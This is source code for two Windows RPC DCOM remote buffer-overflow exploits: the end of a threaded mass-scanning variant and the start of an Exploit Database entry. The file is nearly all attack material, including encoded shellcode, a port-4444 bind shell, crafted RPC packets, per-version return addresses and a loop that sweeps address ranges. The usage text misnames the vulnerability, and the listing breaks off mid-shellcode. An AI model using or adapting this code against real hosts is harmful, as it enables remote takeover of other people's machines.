"\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99"
"\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA"
"\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9"
"\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1"
"\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8"
"\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99"
"\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9"
"\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99"
"\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12"
"\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98"
"\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99"
"\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12"
"\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12"
"\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA"
"\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD"
"\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A"
"\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2"
"\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12"
"\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31"
"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66"
"\x04\x04\x00\x70\x00\x04\x40"
"\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00"
"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71";
int version(char ip[16], int sock)
{
//un poco de ettercap...
unsigned char peer0_0[] = {
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00,
0xcc, 0x00, 0x00, 0x00, 0x84, 0x67, 0xbe, 0x18,
0x31, 0x14, 0x5c, 0x16, 0x00, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00,
0xb8, 0x4a, 0x9f, 0x4d, 0x1c, 0x7d, 0xcf, 0x11,
0x86, 0x1e, 0x00, 0x20, 0xaf, 0x6e, 0x7c, 0x57,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
0x02, 0x00, 0x01, 0x00, 0xa0, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00,
0x0a, 0x42, 0x24, 0x0a, 0x00, 0x17, 0x21, 0x41,
0x2e, 0x48, 0x01, 0x1d, 0x13, 0x0b, 0x04, 0x4d,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
0x04, 0x00, 0x01, 0x00, 0xb0, 0x01, 0x52, 0x97,
0xca, 0x59, 0xcf, 0x11, 0xa8, 0xd5, 0x00, 0xa0,
0xc9, 0x0d, 0x80, 0x51, 0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00 };
unsigned char peer0_1[] = {
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00,
0xaa, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x05, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x28, 0x63, 0x29, 0x20,
0x75, 0x65, 0x72, 0x84, 0x20, 0x73, 0x73, 0x53,
0x20, 0x82, 0x80, 0x67, 0x00, 0x00, 0x00, 0x00,
0x80, 0x1d, 0x94, 0x5e, 0x96, 0xbf, 0xcd, 0x11,
0xb5, 0x79, 0x08, 0x00, 0x2b, 0x30, 0xbf, 0xeb,
0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x5c, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x00, 0x00,
0x41, 0x00, 0x41, 0x00, 0x5c, 0x00, 0x43, 0x00,
0x24, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x2e, 0x00,
0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00,
0x58, 0x73, 0x0b, 0x00, 0x01, 0x00, 0x00, 0x00,
0x31, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x07, 0x00 };
/*
unsigned char win2kvuln[] = {
0x04, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00};
*/
fd_set fds2;
unsigned char buf[1024];
int l;
struct timeval tv2;
FD_ZERO(&fds2);
FD_SET(sock, &fds2);
tv2.tv_sec = 6;
tv2.tv_usec = 0;
memset(buf,'\0',sizeof(buf));
send(sock,(char *)peer0_0,sizeof(peer0_0),0);
if(select(sock +1, &fds2, NULL, NULL, &tv2) > 0)
{
l=recv (sock, (char *)buf, sizeof (buf),0);
// for(i=0;i<52;i++)
// {
// if (i==28) i=i+4;
// if (buf[i+32]!=win2kvuln)
// {
send(sock,(const char *)peer0_1,sizeof(peer0_1),0);
if(select(sock +1, &fds2, NULL, NULL, &tv2) > 0)
{
memset(buf,'\0',sizeof(buf));
l=recv (sock, (char *)buf, sizeof (buf),0);
if (l==32)
{
closesocket(sock);
return(1);//winxp
}
else
{
#ifdef WIN32
closesocket(sock);
#else
close(sock);
#endif
return(0);//win2kby default. Nt4 not added..
}
}
else return(-1);
// }
//}
// closesocket(sock);
// return(0);//win2k
}
closesocket(sock);
return(-1); //Unknown
}
/********************************************************************************/
int attack(char *ip1,bool atack)
{
unsigned char rawData[1036];
memcpy(rawData,rawData1,1036);
unsigned char shellcode[50000];
char ip[200];
strcpy(ip,ip1);
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[50000];
unsigned char buf2[50000];
printf("%s\n",ip);
//printf("RPC DCOM overflow Vulnerability discoveried by NSFOCUS\n");
//printf("Code by FlashSky,Flashsky xfocus org\n");
//printf("Welcome to our Site: http://www.xfocus.org\n");
//printf("Welcome to our Site: http://www.venustech.com.cn\n");
/* if(argc!=3)
{
printf("%s targetIP targetOS\ntargets:\n",argv[0]);
for(int i=0;i<sizeof(target_os)/sizeof(v);i++)
printf("%d - %s\n",i,target_os.target);
printf("\n%x\n",GETSTRCS(argv[1]));
return;
}
*/
/* if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}
*/
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(ip);
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return 0;
}
len1=sizeof(request1);
len=sizeof(rawData);
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("%s - connect failed\n",ip);
return 0;
}
int vers=!version(ip,sock);
// printf("%d\n",vers);
// return;
// int vers=1;
FILE *fp;
//ç¨â ¥¬ ¯ ª¥â
// fp=fopen("shellcode","rb");
// fread(rawData,1,1036,fp);
// fclose(fp);
//⥯¥àì 㦮 ááç¨â âì ¥¯®á।á⢥® ¨á¯®«ï¥¬ë© 襫«ª®¤!
fp=fopen("bshell2","rb");
int sz=fread(shellcode,1,1024,fp);
fclose(fp);
// printf("%d\n",sz);
for(int i=0;i<sz;i++)
rawData[i+0x71]=shellcode[i];
// fp=fopen("badfile.exe","rb");
// unsigned int sz1=fread(shellcode,1,50000,fp);
// fclose(fp);
// for(i=0;i<sz1;i++)
// rawData[i+0x240]=shellcode;
// fp=fopen("pac","wb");
// fwrite(rawData,1,1036,fp);
// fclose(fp);
// return;
//¥à¥¤ ⥬ ª ª ªá®à¨âì § ¯¨è¥¬ ¤à¥á ᢮¡®¤®£® HEAP'a
// DWORD heap=0x00180000;
// int k=vers;
// vers=1;
// *(DWORD *)(rawData+0xae)=target_os[vers].heap;
*(DWORD *)(rawData+0x71+0x1e)=target_os[vers].heap;
//’¥¯¥àì 㦮 ¯à®ªá®à¨âì è ª®¤, ¤«ï ⮣® çâ®¡ë ¯®«ãç¨âì ã¦ë©
XOR(rawData,0x71,sz,0x99);
// XOR(rawData,0x240,sz1,0x99);
//’ ª ¦¥ ¬ 㦮 § ¯¨á âì ã¦ë© ¬ SEH ¨ JMP
DWORD seh=target_os[vers].seh;
DWORD jmp=target_os[vers].jmp;
*(DWORD *)(rawData+0x22a)=jmp;
*(DWORD *)(rawData+0x22e)=seh;
// *(WORD *)(rawData+0x62)=sz+sz1+(0x240-(0x71+sz));
*(WORD *)(rawData+0x62)=sz;
memcpy(buf2,request1,sizeof(request1));
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(rawData)/2;
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(rawData)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,rawData,sizeof(rawData));
len1=len1+sizeof(rawData);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc;
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc;
closesocket(sock);
if(atack)
{
sock=socket(2,1,0);
WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL);
if (send(sock,(const char *)bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("%s - send failed %d\n",ip,WSAGetLastError());
return 0;
}
else {printf("%s - send exploit to %s\n",ip,target_os[vers].target);}
len=recv(sock,(char *)buf1,1000,NULL);
bool ft=1;
if(ft)
{
int i=0;
while(1)
{
if (send(sock,(const char *)buf2,len1,0)==SOCKET_ERROR)
{
printf("\nSend failed.Error:%d\n",WSAGetLastError());
return 0;
}
else
{
printf("\r%d",++i);
}
//Sleep(1000);
}
}
send(sock,(const char *)buf2,len1,0);
closesocket(sock);
}
else fprintf(fp1,"%s %s\n",target_os[vers].target,ip);
// fp=fopen("pac","wb");
// fwrite(rawData,1,1036,fp);
// fclose(fp);
}
unsigned long thread_count=0;
char adr[200];
DWORD WINAPI ThreadProc(
LPVOID lpParameter // thread data
)
{
thread_count++;
attack(adr,0);
thread_count--;
return 0;
}
int main(int argc,char ** argv)
{
//printf("%x %x",OF_READWRITE,GETSTRCS(argv[1]));
//return;
//HFILE hf=_lopen("asd123",0x1001);
//printf("%x",hf);
//_lclose(hf);
//return;
if(argc!=2){
fprintf(stderr, "RPC universal exploit. Exploit MS09-039 vulnerability\n"
"unpatched host - to codee xecution\n"
"patched host - to DoS\n"
"based on original XFocus RPCDCOM2 exploit\n"
"modification and shellcode (c) by karlss0n\n"
"downloaded on www.k-otik.com\n"
"\n"
"usage: %s <target_ip>\n",
argv[0]);
return 10;
}
WSADATA wsaData;
int wVersionRequested;
wVersionRequested = MAKEWORD( 2, 2 );
int err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
/* Tell the user that we could not find a usable */
/* WinSock DLL. */
return 1;
}
if(strchr(argv[1],'.'))
{
attack(argv[1],1);
Sleep(20000);
return 2;
}
int cb=1,db=1;
cb=atoi(argv[3]);
db=atoi(argv[4]);
long tm=atoi(argv[5]);
for(int c=cb;c<255;c++)
{
for(int d=db;d<255;d++)
{
sprintf(adr,"%s.%s.%d.%d",argv[1],argv[2],c,d);
if(thread_count>tm) while(thread_count>tm) Sleep(100);
CreateThread(NULL,0,&ThreadProc,(void *)"",0,NULL);
Sleep(10);
fflush(fp1);
}
}
Sleep(60000);
fclose(fp1);
return 0;
}
// milw0rm.com [2003-10-09]
Exploit Database EDB-ID : 66
Date de publication : 2003-07-25 22h00 +00:00
Auteur : H D Moore
EDB Vérifié : Yes
/*
DCOM RPC Overflow Discovered by LSD - Exploit Based on Xfocus's Code
Written by H D Moore <hdm [at] metasploit.com>
- Usage: ./dcom <Target ID> <Target IP>
- Targets:
- 0 Windows 2000 SP0 (english)
- 1 Windows 2000 SP1 (english)
- 2 Windows 2000 SP2 (english)
- 3 Windows 2000 SP3 (english)
- 4 Windows 2000 SP4 (english)
- 5 Windows XP SP0 (english)
- 6 Windows XP SP1 (english)
*/
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned char *targets [] =
{
"Windows 2000 SP0 (english)",
"Windows 2000 SP1 (english)",
"Windows 2000 SP2 (english)",
"Windows 2000 SP3 (english)",
"Windows 2000 SP4 (english)",
"Windows XP SP0 (english)",
"Windows XP SP1 (english)",
NULL
};
unsigned long offsets [] =
{
0x77e81674,
0x77e829ec,
0x77e824b5,
0x77e8367a,
0x77f92a9b,
0x77e9afe3,
0x77e626ba,
};
unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"
"\xff\xff\xff\xff" /* return address */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
/* port 4444 bindshell */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
